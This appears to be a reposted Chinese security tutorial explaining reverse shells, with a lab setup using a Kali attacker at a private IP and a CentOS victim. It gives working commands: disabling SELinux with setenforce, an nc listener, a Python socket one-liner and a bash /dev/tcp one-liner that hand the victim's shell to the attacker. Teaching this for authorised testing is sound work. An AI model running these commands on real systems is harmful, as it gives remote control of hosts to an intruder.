目录
含义
目的
原理
实验环境:
Python反弹shel l:
Bash的方式:
声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境!
含义
反弹shell / 反向shell / 反弹壳 / 反弹外壳
客户端连接服务端为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)
目的
对方主机在外网无法访问
对方主机防火墙限制,只能发送请求,不能接收请求
对方IP动态变化
攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
原理
让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)
攻击者A开启19111端口TCP服务
受害者B连接19111端口TCP服务
A、B建立TCP连接
A通过TCP服务将待执行命令发送到B
B执行命令后将结果发送给A
实验环境:
攻击(攻击者)主机: |
Kali2020.2 虚拟机 |
nat |
192.168.254.132 |
目标(受害者)主机: |
Centos_6.9 虚拟机 |
Nat Vmnet1 |
192.168.254.173 192.168.10.14 |
【步骤一】:保持防火墙开启状态,关闭setenforce,结果如【图1】所示:
【命令】
setenforce 0 //设置SELinux 成为permissive模式 临时关闭selinux的
service iptables status //查看防火墙状态
Python反弹shel l:
【步骤二】:kali使用nc进行对本机的4444端口进行监听,目标主机执行下面python命令:,结果如下图所示:
【命令】
//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Bash的方式:
【步骤三】:使用bash的方式反弹shell,结果如【图3】所示:
【命令】
nc -lvvp 4444
bash -i >& /dev/tcp/192.168.254.132/4444 0>&1
原文转自:
https://blog.csdn.net/weixin_45588247/article/details/107469712?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.control
一如既往的学习,一如既往的整理,一如即往的分享。感谢支持
“如侵权请私聊公众号删文”
扫描关注LemonSec
觉得不错点个“赞”、“在看”哦
本文始发于微信公众号(LemonSec):使用python和bash反弹shell的方法详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论